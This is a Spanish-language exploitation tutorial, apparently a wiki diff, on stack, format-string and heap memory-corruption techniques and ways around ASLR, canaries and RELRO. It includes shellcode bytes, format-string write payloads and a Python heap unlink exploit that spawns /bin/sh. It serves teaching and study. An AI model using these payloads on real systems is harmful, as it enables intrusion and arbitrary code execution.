+Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**:
+
+```text
+global _start
+_start:
+            jmp short magic
+init:
+            pop     esi
+            xor      ecx, ecx
+            mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
+desc:
+            sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
+            sub     cl, 1
+            jnz       desc
+            jmp     short sc
+magic:
+            call init
+sc:
+            ;Aquí va el shellcode
+```
+
+1.  **Atacando el Frame Pointer \(EBP\)**
+
+Útil en una situación en la que podemos modificar el EBP pero no el EIP.
+
+Se sabe que al salir de una función se ejecuta el siguente código ensamblador:
+
+```text
+movl               %ebp, %esp
+popl                %ebp
+ret
+```
+
+De esta forma, si se puede modificar el EBP al salir de una función \(fvuln\) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.
+
+En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 \(hay que sumarle 4 por el pop\). Así, al salir de la función, se meterá en ESP el valor de &\(&Shellcode\)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret.
+
+**Exploit:**  
+&Shellcode + "AAAA" + SHELLCODE + relleno + &\(&Shellcode\)+4
+
+**Off-by-One Exploit**  
+Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
+
+## **4. Métodos return to Libc**
+
+Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.
+
+El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.
+
+* **cdecl\(C declaration\)** Mete los argumentos en el stack y tras salir de la función limpia la pila
+* **stdcall\(standard call\)** Mete los argumentos en la pila y es la función llamada la que la limpia
+* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila
+
+Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas \(y escribir logs\).
+
+**export SHELL=/bin/sh**
+
+Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:  
+p system  
+p exit  
+rabin2 -i ejecutable** —&gt; Da la dirección de todas las funciones que usa el programa al cargarse  
+\(Dentro de un start o algun breakpoint\): **x/500s $esp** —&gt; Buscamos dentro de aqui el string /bin/sh
+
+Una vez tengamos estas direcciones el **exploit** quedaría:
+
+“A” \* DISTANCIA EBP + 4 \(EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación\) + Dirección de **system** \(sobreescribirá el EIP\) + Dirección de **exit** \(al salir de system\(“/bin/sh”\) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar\) + Dirección de “**/bin/sh**” \(será el parámetro pasado a system\)
+
+De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit\(\).
+
+Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio \(\x20\). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente \(por ejemplo con &gt; x/8i system-4\).
+
+Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP**  a la que volver.
+
+Una técnica interesante con este método es el llamar a **strncpy\(\)** para mover un payload del stack al heap y posteriormente usar **gets\(\)** para ejecutar dicho payload.
+
+Otra técnica interesante es el uso de **mprotect\(\)** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux\(controla que no se puedan otorgar a la vez permisos de escritura y ejecución\). Con este ataque se podría volver a configurar la pila como ejecutable.
+
+#### **Encadenamiento de funciones**
+
+Basándonos en la técnica anterior, esta forma de exploit consiste en:  
+Relleno + &Función1 + &pop;ret; + &arg\_fun1 + &Función2 + &pop;ret; + &arg\_fun2 + …
+
+De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios \(ej 4\) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —&gt; **objdump -d ejecutable**
+
+#### **Encadenamiento mediante falseo de frames \(encadenamiento de EBPs\)**
+
+Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
+
+RELLENO  
++ Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: \(&system\(\) + &leave;ret + &“/bin/sh”\)  
++ En el EIP ponemos de dirección una función &\(leave;ret\)
+
+Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + &system\(\) + &\(leave;ret;\) + &”/bin/sh”
+
+el 2ºEBP sería: 3ºEBP\_falso + &system\(\) + &\(leave;ret;\) + &”/bin/ls”
+
+Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.
+
+\(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib\)
+
+## **5.Métodos complementarios**
+
+#### **Ret2Ret**
+
+Útil para cuando no se puede meter una dirección del stack en el EIP \(se comprueba que el EIP no contenga 0xbf\) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro \(la shellcode irá aquí\).
+
+De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección \(que es la dirección del primer argumento de la función\). Es decir, se cargará la shellcode.
+
+El exploit quedaría: SHELLCODE + Relleno \(hasta EIP\) + **&ret** \(los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado\)
+
+Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento \(la que guarda la shellcode\) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere.
+
+            **Ret2PopRet**
+
+Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.
+
+#### **Técnica de Murat**
+
+En linux todos los progamas se mapean comenzando en 0xbfffffff
+
+Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen\(NOMBRE\_ejecutable\_completo\) - strlen\(shellcode\)
+
+De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
+
+Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
+
+#### **Jump to ESP: Windows Style**
+
+Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste con sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode.
+
+En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable.
+
+Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode \(cosa que podría ocurrir en caso de ponerse en medio del stack de la función\).
+
+De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax \(ret2eax\).**
+
+#### **ROP \(Return Oriented Programming\) o borrowed code chunks**
+
+Los trozos de código que se invocan se conocen como gadgets.
+
+Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**.
+
+En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits \(MIPS por ej\). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo:
+
+**movl $0xe4ff, -0x\(%ebp\)** —&gt; Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp**
+
+De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original
+
+**ROPgadget.py** nos ayuda a encontrar valores en binarios
+
+Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tu le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**.
+
+#### **Integer overflows**
+
+Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
+
+```c
+#include <stdion.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[]){
+int len;
+unsigned int l;
+char buffer[256];
+int i;
+len = l = strtoul(argv[1], NULL, 10);
+printf("\nL = %u\n", l);
+printf("\nLEN = %d\n", len);
+if (len >= 256){
+printf("\nLongitus excesiva\n");
+exit(1);
+}
+if(strlen(argv[2]) < l)
+strcpy(buffer, argv[2]);
+else
+printf("\nIntento de hack\n");
+return 0;
+}
+```
+
+En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena.
+
+Si le pasamos como primer parámetro un número negativo saldrá que len &lt; 256 y pasaremos ese filtro, y además también strlen\(buffer\) será menor que l, pues l es unsigned int y será muy grande.
+
+Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.
+
+#### **Variables no inicializadas**
+
+No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante.
+
+## **6.Explotando format strings**
+
+Cuando se llama a printf se ponen los parámetros de forma ordenada.
+
+%08x —&gt; 8 bytes hexadecimales  
+%d —&gt; Entero  
+%u —&gt; Entero sin signo  
+%s —&gt; Cadena  
+%n —&gt; Bytes escritos  
+%hn —&gt; Ocupa 2 bytes en vez de 4  
+&lt;n&gt;$X —&gt; Parámetro de acceso directo —&gt; \(“%3$d”, var1, var2, var3\) —&gt; Accede directamente a var3
+
+AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.  
+AAAA.%4\$x —&gt; 4º parametro  
+AAAA%.6000x%4\$n —&gt; Se escribe 6004 en la dirección que apunta el 4º parametro  
+AAAA%6000d%4\$n —&gt; Se escribe 6004 en la dirección que apunta el 4º parametro  
+AAAA.%500\$08x —&gt; Parámetro en el offset 500
+
+**objdump -t ./exec \| grep varBss  
+objdump -TR ./exec \| grep exit\(func lib\)  
+objdump -d ./exec \| grep funcCode  
+objdump -D ./exec \| grep "VAR\_NAME"** --&gt; Direccion de memoria donde se carga una variable stática \(en la region DATA\)
+
+Con %n escribimos el número bytes escritos y normalmente podremos controlar dónde, si por ejemplo queremos escribir el valor 400 en una dirección que es el 8º parámetro:
+
+python -c ‘print “DIRECCION” ’%.396d%8\$n
+
+#### **DTOR**
+
+Los destructores son funciones que se ejecutan justo antes de la finalización de un programa.
+
+**objdump -s -j .dtors /exec  
+rabin -s /exec \| grep “\_\_DTOR”**
+
+Si se logra escribir algo en \_\_DTOR\_END\_\_ la dirección de una shellcode, esta se ejecutará a la salida del programa.
+
+Los DTOR se encuentran entre los valores ffffffff y 00000000, por lo que si no hay ningún DTOR encontraremos al ejecutar el **objdump** esos valores seguidos. Entonces, si introducimos una valor entre ambos, será tomado como lla dirección de una función y se ejecutará \(es decir, hay que sobreescribir el 00000000\).
+
+Es raro que hoy en día un binario tenga DTORs.
+
+#### **GOT \(Tabla de offsets global\) - Mejor esta que la anterior si se puede elegir**
+
+Contiene las direcciones absolutas de las funciones que son utilizadas en un programa.
+
+**objdump -s -j .got ./exec  
+\(peda\)&gt; x/20x 0xDIR\_GOT** --&gt; Se ve una lista con las direcciones de las funciones  
+**\(peda\)&gt; x/i 0xDIR\_FUNC\_GOT** --&gt; Veríamos el inicio de una función \(probablemente un push ebp\)
+
+or using GEF you can start a debugging session and execute `got` to see the got table.
+
+You can see the PLT addresses with `objdump -j .plt -d ./vuln_binary`
+
+In a binary the GOT has the addresses of the functions \(pointing to the PLT\). The goal of this exploit is to override the GOT entry of a function that is going to be executed later with the address of the PLT of the system function. Ideally, you will override the GOT of a function that is going to be called with parameters controlled by you \(so you will be able to control the parameters sent to the system function\).
+
+If system isn't used by the script, the system function won't have an entry in the PLT. In this scenario, you will need to leak first the address of the system function.
+
+You an find a **template** to exploit the GOT using format-strings here:
+
+{% page-ref page="format-string-template.md" %}
+
+#### **Exploit \(format strings\)**
+
+Si modificamos el valor de la dirección de una de estas funciones y apuntamos a una shellcode y esta función se ejecuta después del printf tendremos un exploit.
+
+Para escribir la dirección de una shellcode normalmente hay que escribirla en dos pasos, primero 2 bytes y luego los otros 2, para ello se usa $hn.
+
+HOB —&gt; 2bytes superiores de la dirección de la shellcode  
+LOB —&gt; 2bytes inferiores de la dirección de la shellcode
+
+Hay que escribir siempre primero el menor de \[HOB, LOB\] y luego el otro.
+
+Si HOB &lt; LOB  
+\[dirección+2\]\[direccion\]%.\[HOB-8\]x%\[offset\]\$hn%.\[LOB-HOB\]x%\[offset+1\]
+
+Si HOB &gt; LOB  
+\[dirección+2\]\[direccion\]%.\[LOB-8\]x%\[offset+1\]\$hn%.\[HOB-LOB\]x%\[offset\]
+
+HOB                                       LOB                            HOB\_shellcode-8        NºParam\_dir\_HOB      LOB\_shell-HOB\_shell         NºParam\_dir\_LOB
+
+\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+         "%.49143x"        +       "%4$hn"          +          "%.15408x"                +          "%5$hn"'\`
+
+#### **Format Strings como Buffer Overflows**
+
+La función **sprintf** copia a un string \(char \*str\) lo mismo que se le pasaría a una función printf. Es decir, si no tiene en cuenta el formato \(“%s”\), y el string introducido es dominado por el atacante, se puede introducir una cadena como %.44xAAAA —&gt; Que hará escribir 44bytes +”AAAA” en \*str y eso puede provocar un bufferoverflow.
+
+#### **Estructuras \_\_atexit \(ya no útil en general\)**
+
+atexit\(\) es una función a la cuál se le pasan como parámetros otras funciones y estas funciones se ejecutarán al ejecutarse un exit\(\) o el return del main.
+
+Si se consigue modificar la dirección de alguna de estas funciones para que apunte a un shellcode se ganaría el control del proceso, pero actualmente esto es más complicado.
+
+Actualmente las direcciones a las funciones que hay que ejecutar se esconden tras varias estructuras  y finalmente la dirección a la que apunta no son las direcciones de las funciones, sino que están cifradas con XOR y desplazamientos con una clave aleatoria. Por lo que actualmente este vector de ataque no es de mucha utilidad por lo menos en x86 y x64\_86. La función de cifrado es PTR\_MANGLE.
+
+Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa… No implementas la función de cifrado pues que esta devuelve lo mismo que recibió como entrada. Así que estas arquitectura sí serían atacables mediante este vector.
+
+#### **setjmp\(\) y longjmp\(\) \(ya no útil en general\)**
+
+Setjmp\(\) permite guardar el contexto \(los registros\)
+
+longjmp\(\) permite restablecer el contexto
+
+Los registros guardados son: EBX, ESI, EDI, ESP, EIP, EBP
+
+Lo que pasa es que EIP y ESP son pasados por la función PTR\_MANGLE, por lo que las arquitectura vulnerables a este ataque son las mismas que las anteriores.
+
+Son útiles para recuperación de errores o interrupciones.
+
+Sin embargo, según lo leído, no se protegen los demás registros, por lo que si dentro de la función a la que se llame hay un call ebx, call esi o call edi se puede tomar el control. O también se podría modificar EBP para modificar el ESP.
+
+#### **VTable y VPTR en C++**
+
+Cada clase tiene una Vtable que es un array de punteros a métodos.
+
+Cada objeto de una clase tiene un VPtr que es un puntero a la Viable de su clase. El VPtr forma parte de la cabecera de cada objeto, por lo que si se logra una sobreescritura del VPtr se podría modificar para que apuntase a una Viable falsa para que al ejecutar una función se fuese a la shellcode.
+
+## **Medidas preventivas y evasiones**
+
+#### **ASLR no tan aleatorio**
+
+PaX dive el espacio de direcciones del proceso en 3 grupos:
+
+Codigo y datos iniciados y no iniciados: .text, .data y .bss —&gt; 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales
+
+Memoria asignada por mmap\(\) y libraries compartidas —&gt; 16bits, delta\_mmap
+
+El stack —&gt; 24bits, delta\_stack —&gt; Realmente 11 \(del byte 10º al 20º inclusive\) —&gt;alineado a 16bytes —&gt; 524.288 posibles direcciones reales del stack
+
+Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack.
+
+**Return-into-printf**
+
+Es una técnica para convertir un buffer overflow en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.
+
+**Ataque a librerías**
+
+Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork\(\) el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep\(\) de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás.
+
+La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta.
+
+#### **StackGuard y StackShield**
+
+**StackGuard** inserta antes del EIP —&gt; 0x000aff0d\(null, \n, EndOfFile\(EOF\), \r\) —&gt; Siguen siendo vulnerables recv\(\), memcpy\(\), read\(\), bcoy\(\) y no protege el EBP
+
+**StackShield** es más elaborado que StackGuard
+
+Guarda en una tabla \(Global Return Stack\) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento.
+
+También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret.
+
+Como se puede ver stackshield tampoco protege las variables locales.
+
+#### **Stack Smash Protector \(ProPolice\) -fstack-protector**
+
+Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables.
+
+Además, realiza una copia segura de los argumentos pasados encima de la pila \(encima de las vars locales\) y usa estas copias como argumentos.
+
+No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario.
+
+El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS\(Thread Local Storage\). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork\(\) pero no se crea un nuevo canario, entonces todos los procesos \(padre e hijos\) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28
+
+Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo.
+
+La función fork\(\) realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork\(\) se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando.
+
+Si se usa la función execve\(\) después de fork\(\), se sobreescribe el espacio y el ataque ya no es posible. vfork\(\) permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado.
+
+#### **Relocation Read-Only \(RELRO\)**
+
+Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT \(Procedure Linkage Table\), de aquí se realiza un salto \(jmp\) a la GOT y descubre que esa entrada no ha sido resuelta \(contiene una dirección siguiente de la PLT\). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
+
+Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT \(rtfd\) y averigua la dirección de la función, la guarda en la GOT y la llama.
+
+Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa.
+
+Lazy binding —&gt; La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
+
+Bind now —&gt; Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro**  y  **-z now**
+
+A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles.
+
+**readelf -l /proc/ID\_PROC/exe \| grep BIND\_NOW** —&gt; Para saber si usan el BIND NOW
+
+#### **Fortify Source -D\_FORTIFY\_SOURCE=1 o =2**
+
+Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
+
+Por ej:  
+char buf\[16\];  
+strcpy\(but, source\);
+
+La identifica como insegura y entonces cambia strcpy\(\) por \_\_strcpy\_chk\(\) utilizando el tamaño del buffer como tamaño máximo a copiar.
+
+La diferencia entre **=1**  o **=2** es que:
+
+La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
+
+Para mostrar el mensaje de error se usa el argv\[0\], por lo que si se pone en el la dirección de otro sitio \(como una variable global\) el mensaje de error mostrará el contenido de dicha variable. Pag 191
+
+#### **Reemplazo de Libsafe**
+
+Se activa con: LD\_PRELOAD=/lib/libsafe.so.2  
+o  
+“/lib/libsave.so.2” &gt; /etc/ld.so.preload
+
+Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. \(solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid\).
+
+#### **ASCII Armored Address Space**
+
+Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
+
+**ret2plt**
+
+Consiste en realiza un ROP de forma que se llame a la función strcpy@plt \(de la plt\) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar \(system\(\)\). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system\(\)… Al final se llama la dirección guardada en GOT que será system\(\)
+
+**Falso EBP**
+
+Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system\(\) se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”.
+
+#### **Jaulas con chroot\(\)**
+
+debootstrap -arch=i386 hardy  /home/user —&gt; Instala un sistema básico bajo un subdirectorio específico
+
+Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
+
+#### **Instrumentación de código**
+
+Valgrind —&gt; Busca errores  
+Memcheck  
+RAD \(Return Address Defender\)  
+Insure++
+
+## **8 Heap Overflows: Exploits básicos**
+
+**Trozo asignado**
+
+prev\_size      \|  
+size                 \|           —Cabecera  
+\*mem \| Datos
+
+**Trozo libre**
+
+prev\_size     \|  
+size                  \|  
+\*fd                   \| Ptr forward chunk  
+\*bk                  \| Ptr back chunk       —Cabecera  
+\*mem \| Datos
+
+Los trozos libres están en una lista doblemente enlazada \(bin\) y nunca pueden haber dos trozos libres juntos \(se juntan\)
+
+En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap\(\) y si el trozo pertenece al arena primario.
+
+Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink\(\) y se pasa el nuevo trozo más grande a frontlink\(\) para que le inserte el bin adecuado.
+
+unlink\(\){  
+BK = P-&gt;bk; —&gt; El BK del nuevo chunk es el que tuviese el que ya estaba libre antes  
+FD = P-&gt;fd; —&gt; El FD del nuevo chunk es el que tuviese el que ya estaba libre antes  
+FD-&gt;bk = BK; —&gt; El BK del siguiente chunk apunta al nuevo chunk  
+BK-&gt;fd = FD; —&gt; El FD del anterior chunk apunta al nuevo chunk  
+}
+
+Por lo tanto si conseguimos modificar el P-&gt;bk con la dirección de un shellcode y el P-&gt;fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
+
+BK = P-&gt;bk = &shellcode  
+FD = P-&gt;fd = &\_\_dtor\_end\_\_ - 12  
+FD-&gt;bk = BK -&gt; \*\(\(&\_\_dtor\_end\_\_ - 12\) + 12\) = &shellcode
+
+Y así se se ejecuta al salir del programa la shellcode.
+
+Además, la 4º sentencia de unlink\(\) escribe algo y la shellcode tiene que estar reparada para esto:
+
+BK-&gt;fd = FD -&gt; \*\(&shellcode + 8\) = \(&\_\_dtor\_end\_\_ - 12\) —&gt; Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
+
+Por lo tanto el exploit se crea:
+
+En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
+
+Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 \(de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre\) y “-4“\(0xfffffffc\) en el size \(para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre\) -&gt; Así cuando free\(\) investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink\(\)**.
+
+Al llamar a unlink\(\) usará como P-&gt;fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12\(pues en FD-&gt;bk le sumará 12 a la dirección guardada en FD\) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode\(P-&gt;bk falso\).
+
+**from struct import \***
+
+**import os**
+
+**shellcode = "\xeb\x0caaaabbbbcccc" \#jm 12 + 12bytes de relleno**
+
+**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \**
+
+**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \**
+
+**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
+
+**prev\_size = pack\("&lt;I”, 0xfffffff0\) \#Interesa que el bit que indica que el anterior trozo está libre esté a 1**
+
+**fake\_size = pack\("&lt;I”, 0xfffffffc\) \#-4, para que piense que el “size” del 3º trozo está 4bytes detrás \(apunta a prev\_size\) pues es ahí donde mira si el 2º trozo está libre**
+
+**addr\_sc = pack\("&lt;I", 0x0804a008 + 8\) \#En el payload al principio le vamos a poner 8bytes de relleno**
+
+**got\_free = pack\("&lt;I", 0x08048300 - 12\) \#Dirección de free\(\) en la plt-12 \(será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free\)**
+
+**payload = "aaaabbbb" + shellcode + "b"\*\(512-len\(shellcode\)-8\) \# Como se dijo el payload comienza con 8 bytes de relleno porque sí**
+
+**payload += prev\_size + fake\_size + got\_free + addr\_sc \#Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
+
+**os.system\("./8.3.o " + payload\)**
+
+**unset\(\) liberando en sentido inverso \(wargame\)**
+
+Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
+
+En ese caso:
+
+En el chunck c se pone el shellcode
+
+El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
+
+Además, se sobreescribe en la cabecera b el size para que valga -4.
+
+Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink\(\) para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink\(\) a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
+
+De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts\(\)”-12 tenemos nuestro payload.
+
+**Técnica de Frontlink**
+
+Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink\(\) sino que se llama directamente a frontlink\(\).
+
+Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado \(free\(\)\).
+
+Necesita:
+
+Un buffer que pueda desbordarse con la función de entrada de datos
+
+Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
+
+Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
+
+Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
+
+De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
+
